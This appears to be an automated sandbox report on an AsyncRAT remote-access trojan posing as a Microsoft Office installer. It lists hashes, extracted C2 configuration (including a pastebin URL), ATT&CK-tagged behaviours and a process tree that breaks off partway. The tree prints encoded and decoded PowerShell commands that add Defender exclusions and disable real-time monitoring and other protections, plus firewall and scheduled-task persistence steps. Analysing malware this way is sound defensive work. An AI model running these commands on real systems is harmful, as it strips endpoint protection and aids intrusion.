asyncrat | 7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59

Analysis

max time kernel
43s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 07:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Microsoft_office_2022.exe
Size 13.0MB
Sample261027-jnayeasthw
SHA256 7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59
MD5 af3198e9c8dfe23fc32e5f188cd37065
SHA1 e5e85ba741f28469c8b85a2c9a635005b1a6e37b
SHA512 d0aeb147150b0dae2435d2dfa127b598d7afc45cdd8b25db92226d73e1d9b595d3c580e5a939fa70003d4ec3ba2f6733718148bf4ee66ff745a3903d8a7e391f
SSDEEP 393216:e7whmWJnoyMxtDDAxXtN3ZWn2T4w0h7y4s5o:e7whm+noy2AltN3gnPd
TLSH
T14ED633F7775009B8E02D4236A958403D891F740C07EBEC1B4A672E617FA72ED6E74A6C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

admin defense_evasion discovery execution asyncrat persistence privilege_escalation rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Admin

Mutex

DcRatMutex_0101010101010100101001010100101010100101

Attributes

delay
5
install
true
install_file
Defender.exe
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/JvYZi5A2

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/3288-1163-0x0000000002800000-0x0000000002816000-memory.dmp	family_asyncrat
behavioral2/memory/1264-1165-0x0000000000BA0000-0x0000000000BB6000-memory.dmp	family_asyncrat
behavioral2/memory/3892-1186-0x0000000000BB0000-0x0000000000BC6000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3624	powershell.exe
5936	powershell.exe
1868	powershell.exe
1916	powershell.exe
1816	powershell.exe
4576	powershell.exe
1984	powershell.exe
3804	powershell.exe
5884	powershell.exe
1732	powershell.exe
2600	powershell.exe
5756	powershell.exe
5648	powershell.exe
2600	powershell.exe
4084	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5740	netsh.exe

Executes dropped EXE 5 IoCs

pid	Process
3288	splwow.exe
1264	splwow.exe
3716	start.exe
2764	start.exe
2988	CL_Debug_Log.txt

Loads dropped DLL 27 IoCs

pid	Process
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe
1384	Microsoft_office_2022.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
16	pastebin.com
18	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 5 IoCs

execution

Visual Basic

T1059.005

pid	Process
1540	WScript.exe
5908	WScript.exe
1984	WScript.exe
5164	WScript.exe
1376	WScript.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5912	cmd.exe
5980	cmd.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\splwow.exe	Microsoft_office_2022.exe
File opened for modification	C:\Windows\splwow.exe	attrib.exe
File created	C:\Windows\start.exe	Microsoft_office_2022.exe
File opened for modification	C:\Windows\start.exe	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4504	cmd.exe
2384	cmd.exe
480	cmd.exe
1380	cmd.exe
4028	cmd.exe
3840	cmd.exe
3060	cmd.exe
2888	cmd.exe
852	cmd.exe
5840	cmd.exe
3368	cmd.exe
2864	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Microsoft_office_2022.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Microsoft_office_2022.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	start.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	start.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CL_Debug_Log.txt
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4568	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5728	systeminfo.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4288	schtasks.exe
3364	schtasks.exe
4032	schtasks.exe
5904	schtasks.exe
800	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4564	WMIC.exe
4564	WMIC.exe
4564	WMIC.exe
4564	WMIC.exe
5468	powershell.exe
5468	powershell.exe
5468	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
5176	powershell.exe
5176	powershell.exe
5176	powershell.exe
1868	powershell.exe
1868	powershell.exe
1868	powershell.exe
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
1816	powershell.exe
1816	powershell.exe
1816	powershell.exe
3040	powershell.exe
3040	powershell.exe
3040	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
5500	powershell.exe
5500	powershell.exe
5500	powershell.exe
2600	powershell.exe
2600	powershell.exe
2600	powershell.exe
1476	powershell.exe
1476	powershell.exe
1476	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
3704	powershell.exe
3704	powershell.exe
3704	powershell.exe
5756	powershell.exe
5756	powershell.exe
5756	powershell.exe
2624	powershell.exe
2624	powershell.exe
2624	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
5648	powershell.exe
5648	powershell.exe
5648	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4564	WMIC.exe
Token: SeSecurityPrivilege	4564	WMIC.exe
Token: SeTakeOwnershipPrivilege	4564	WMIC.exe
Token: SeLoadDriverPrivilege	4564	WMIC.exe
Token: SeSystemProfilePrivilege	4564	WMIC.exe
Token: SeSystemtimePrivilege	4564	WMIC.exe
Token: SeProfSingleProcessPrivilege	4564	WMIC.exe
Token: SeIncBasePriorityPrivilege	4564	WMIC.exe
Token: SeCreatePagefilePrivilege	4564	WMIC.exe
Token: SeBackupPrivilege	4564	WMIC.exe
Token: SeRestorePrivilege	4564	WMIC.exe
Token: SeShutdownPrivilege	4564	WMIC.exe
Token: SeDebugPrivilege	4564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4564	WMIC.exe
Token: SeRemoteShutdownPrivilege	4564	WMIC.exe
Token: SeUndockPrivilege	4564	WMIC.exe
Token: SeManageVolumePrivilege	4564	WMIC.exe
Token: 33	4564	WMIC.exe
Token: 34	4564	WMIC.exe
Token: 35	4564	WMIC.exe
Token: 36	4564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4564	WMIC.exe
Token: SeSecurityPrivilege	4564	WMIC.exe
Token: SeTakeOwnershipPrivilege	4564	WMIC.exe
Token: SeLoadDriverPrivilege	4564	WMIC.exe
Token: SeSystemProfilePrivilege	4564	WMIC.exe
Token: SeSystemtimePrivilege	4564	WMIC.exe
Token: SeProfSingleProcessPrivilege	4564	WMIC.exe
Token: SeIncBasePriorityPrivilege	4564	WMIC.exe
Token: SeCreatePagefilePrivilege	4564	WMIC.exe
Token: SeBackupPrivilege	4564	WMIC.exe
Token: SeRestorePrivilege	4564	WMIC.exe
Token: SeShutdownPrivilege	4564	WMIC.exe
Token: SeDebugPrivilege	4564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4564	WMIC.exe
Token: SeRemoteShutdownPrivilege	4564	WMIC.exe
Token: SeUndockPrivilege	4564	WMIC.exe
Token: SeManageVolumePrivilege	4564	WMIC.exe
Token: 33	4564	WMIC.exe
Token: 34	4564	WMIC.exe
Token: 35	4564	WMIC.exe
Token: 36	4564	WMIC.exe
Token: SeDebugPrivilege	5468	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeIncreaseQuotaPrivilege	3624	powershell.exe
Token: SeSecurityPrivilege	3624	powershell.exe
Token: SeTakeOwnershipPrivilege	3624	powershell.exe
Token: SeLoadDriverPrivilege	3624	powershell.exe
Token: SeSystemProfilePrivilege	3624	powershell.exe
Token: SeSystemtimePrivilege	3624	powershell.exe
Token: SeProfSingleProcessPrivilege	3624	powershell.exe
Token: SeIncBasePriorityPrivilege	3624	powershell.exe
Token: SeCreatePagefilePrivilege	3624	powershell.exe
Token: SeBackupPrivilege	3624	powershell.exe
Token: SeRestorePrivilege	3624	powershell.exe
Token: SeShutdownPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeSystemEnvironmentPrivilege	3624	powershell.exe
Token: SeRemoteShutdownPrivilege	3624	powershell.exe
Token: SeUndockPrivilege	3624	powershell.exe
Token: SeManageVolumePrivilege	3624	powershell.exe
Token: 33	3624	powershell.exe
Token: 34	3624	powershell.exe
Token: 35	3624	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
3716	start.exe
3716	start.exe
3716	start.exe
2764	start.exe
2764	start.exe
2764	start.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
3716	start.exe
3716	start.exe
3716	start.exe
2764	start.exe
2764	start.exe
2764	start.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 1384	4764	Microsoft_office_2022.exe	90
PID 1384 wrote to memory of 5728	1384	Microsoft_office_2022.exe	91
PID 1384 wrote to memory of 852	1384	Microsoft_office_2022.exe	95
PID 852 wrote to memory of 4564	852	cmd.exe	97
PID 1384 wrote to memory of 2812	1384	Microsoft_office_2022.exe	98
PID 2812 wrote to memory of 5468	2812	cmd.exe	100
PID 5468 wrote to memory of 3624	5468	powershell.exe	101
PID 1384 wrote to memory of 4152	1384	Microsoft_office_2022.exe	102
PID 4152 wrote to memory of 5176	4152	cmd.exe	104
PID 5176 wrote to memory of 1868	5176	powershell.exe	105
PID 1384 wrote to memory of 1372	1384	Microsoft_office_2022.exe	106
PID 1372 wrote to memory of 4240	1372	cmd.exe	108
PID 4240 wrote to memory of 1916	4240	powershell.exe	109
PID 1384 wrote to memory of 3604	1384	Microsoft_office_2022.exe	110
PID 3604 wrote to memory of 4304	3604	cmd.exe	112
PID 4304 wrote to memory of 1816	4304	powershell.exe	113
PID 1384 wrote to memory of 4016	1384	Microsoft_office_2022.exe	114
PID 4016 wrote to memory of 3040	4016	cmd.exe	116
PID 3040 wrote to memory of 4576	3040	powershell.exe	117
PID 1384 wrote to memory of 3888	1384	Microsoft_office_2022.exe	118
PID 3888 wrote to memory of 5500	3888	cmd.exe	120
PID 5500 wrote to memory of 2600	5500	powershell.exe	149
PID 1384 wrote to memory of 1564	1384	Microsoft_office_2022.exe	122
PID 1564 wrote to memory of 1476	1564	cmd.exe	124
PID 1476 wrote to memory of 1984	1476	powershell.exe	125
PID 1384 wrote to memory of 5416	1384	Microsoft_office_2022.exe	126
PID 5416 wrote to memory of 3704	5416	cmd.exe	128
PID 3704 wrote to memory of 5756	3704	powershell.exe	129
PID 1384 wrote to memory of 5768	1384	Microsoft_office_2022.exe	130
PID 5768 wrote to memory of 2624	5768	cmd.exe	132
PID 2624 wrote to memory of 3804	2624	powershell.exe	133
PID 1384 wrote to memory of 948	1384	Microsoft_office_2022.exe	134
PID 948 wrote to memory of 4272	948	cmd.exe	136
PID 4272 wrote to memory of 5648	4272	powershell.exe	137
PID 1384 wrote to memory of 5588	1384	Microsoft_office_2022.exe	138
PID 5588 wrote to memory of 1320	5588	cmd.exe	140
PID 1320 wrote to memory of 5884	1320	powershell.exe	141
PID 1384 wrote to memory of 2248	1384	Microsoft_office_2022.exe	142
PID 2248 wrote to memory of 4552	2248	cmd.exe	144
PID 4552 wrote to memory of 1732	4552	powershell.exe	145
PID 1384 wrote to memory of 2444	1384	Microsoft_office_2022.exe	146
PID 2444 wrote to memory of 1872	2444	cmd.exe	148
PID 1872 wrote to memory of 2600	1872	powershell.exe	149
PID 2600 wrote to memory of 5740	2600	powershell.exe	150
PID 1384 wrote to memory of 844	1384	Microsoft_office_2022.exe	152
PID 844 wrote to memory of 2772	844	cmd.exe	154
PID 2772 wrote to memory of 4084	2772	powershell.exe	155
PID 1384 wrote to memory of 4532	1384	Microsoft_office_2022.exe	156
PID 4532 wrote to memory of 3520	4532	cmd.exe	158
PID 3520 wrote to memory of 5936	3520	powershell.exe	209
PID 1384 wrote to memory of 4504	1384	Microsoft_office_2022.exe	161
PID 4504 wrote to memory of 4288	4504	cmd.exe	163
PID 1384 wrote to memory of 5980	1384	Microsoft_office_2022.exe	164
PID 5980 wrote to memory of 3224	5980	cmd.exe	166
PID 1384 wrote to memory of 3288	1384	Microsoft_office_2022.exe	167
PID 1384 wrote to memory of 2384	1384	Microsoft_office_2022.exe	171
PID 2384 wrote to memory of 3364	2384	cmd.exe	173
PID 1384 wrote to memory of 5912	1384	Microsoft_office_2022.exe	174
PID 5912 wrote to memory of 1988	5912	cmd.exe	176
PID 1384 wrote to memory of 3716	1384	Microsoft_office_2022.exe	177
PID 3716 wrote to memory of 2988	3716	start.exe	180
PID 1384 wrote to memory of 1380	1384	Microsoft_office_2022.exe	182
PID 1384 wrote to memory of 480	1384	Microsoft_office_2022.exe	183
PID 1380 wrote to memory of 1540	1380	cmd.exe	186

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3224	attrib.exe
1988	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Microsoft_office_2022.exe
"C:\Users\Admin\AppData\Local\Temp\Microsoft_office_2022.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Users\Admin\AppData\Local\Temp\Microsoft_office_2022.exe
  "C:\Users\Admin\AppData\Local\Temp\Microsoft_office_2022.exe"
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Windows\SYSTEM32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:852
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnACAALgBlAHgAZQAgACwAIAAuAGIAaQBuACwAIAAuAGQAbwBjAG0ALAAgAC4AZABsAGwAIAAsACAALgB0AHgAdAAsACAALgB6AGkAcAAgACwAIAAuAHIAYQByACAAJwAgAA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnACAALgBlAHgAZQAgACwAIAAuAGIAaQBuACwAIAAuAGQAbwBjAG0ALAAgAC4AZABsAGwAIAAsACAALgB0AHgAdAAsACAALgB6AGkAcAAgACwAIAAuAHIAYQByACAAJwAgAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension " .exe , .bin, .docm, .dll , .txt, .zip , .rar "
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5176
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4240
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -PUAProtection disable
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4304
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAMQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAMQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAxAA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAxAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5500
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAxAA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAxAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAMQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAMQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAxAA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5768
